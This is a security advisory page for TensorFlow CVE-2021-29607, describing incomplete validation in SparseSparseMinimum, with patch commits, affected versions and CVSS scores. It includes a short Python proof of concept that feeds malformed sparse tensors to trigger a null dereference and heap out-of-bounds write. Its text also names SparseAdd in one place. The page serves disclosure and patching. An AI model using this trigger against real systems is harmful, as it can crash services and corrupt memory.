CVE-2021-29607

MEDIUM5.3EPSS 0.02%

Incomplete validation in `SparseSparseMinimum`

發布日:2022/3/18修改日:2026/3/13

描述

### Impact Incomplete validation in `SparseAdd` results in allowing attackers to exploit undefined behavior (dereferencing null pointers) as well as write outside of bounds of heap allocated data: ```python import tensorflow as tf a_indices = tf.ones([45, 92], dtype=tf.int64) a_values = tf.ones([45], dtype=tf.int64) a_shape = tf.ones([1], dtype=tf.int64) b_indices = tf.ones([1, 1], dtype=tf.int64) b_values = tf.ones([1], dtype=tf.int64) b_shape = tf.ones([1], dtype=tf.int64) tf.raw_ops.SparseSparseMinimum(a_indices=a_indices, a_values=a_values, a_shape=a_shape, b_indices=b_indices, b_values=b_values, b_shape=b_shape) ``` The [implementation](https://github.com/tensorflow/tensorflow/blob/656e7673b14acd7835dc778867f84916c6d1cac2/tensorflow/core/kernels/sparse_sparse_binary_op_shared.cc) has a large set of validation for the two sparse tensor inputs (6 tensors in total), but does not validate that the tensors are not empty or that the second dimension of `*_indices` matches the size of corresponding `*_shape`. This allows attackers to send tensor triples that represent invalid sparse tensors to abuse code assumptions that are not protected by validation. ### Patches We have patched the issue in GitHub commit [ba6822bd7b7324ba201a28b2f278c29a98edbef2](https://github.com/tensorflow/tensorflow/commit/ba6822bd7b7324ba201a28b2f278c29a98edbef2) followed by GitHub commit [f6fde895ef9c77d848061c0517f19d0ec2682f3a](https://github.com/tensorflow/tensorflow/commit/f6fde895ef9c77d848061c0517f19d0ec2682f3a). The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range. ### For more information Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. ### Attribution This vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.

受影響套件(7)

  • Bitnami/tensorflowfrom 0, < 2.1.4, >= 2.2.0, < 2.2.3, >= 2.3.0, < 2.3.3, >= 2.4.0, < 2.4.2
  • PyPI/tensorflowfrom 0, < 2.1.4
  • PyPI/tensorflowfrom 0, < ba6822bd7b7324ba201a28b2f278c29a98edbef2, < f6fde895ef9c77d848061c0517f19d0ec2682f3a | from 0, < 2.1.4, >= 2.2.0, < 2.2.3, >= 2.3.0, < 2.3.3, >= 2.4.0, < 2.4.2
  • PyPI/tensorflow-cpufrom 0, < ba6822bd7b7324ba201a28b2f278c29a98edbef2, < f6fde895ef9c77d848061c0517f19d0ec2682f3a | from 0, < 2.1.4, >= 2.2.0, < 2.2.3, >= 2.3.0, < 2.3.3, >= 2.4.0, < 2.4.2
  • PyPI/tensorflow-cpufrom 0, < 2.1.4
  • PyPI/tensorflow-gpufrom 0, < ba6822bd7b7324ba201a28b2f278c29a98edbef2, < f6fde895ef9c77d848061c0517f19d0ec2682f3a | from 0, < 2.1.4, >= 2.2.0, < 2.2.3, >= 2.3.0, < 2.3.3, >= 2.4.0, < 2.4.2
  • PyPI/tensorflow-gpufrom 0, < 2.1.4

CVSS 分數

來源版本嚴重程度向量
osvCVSS 4.0—CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N
osvCVSS 3.1MEDIUM5.3CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:H

參考連結(7)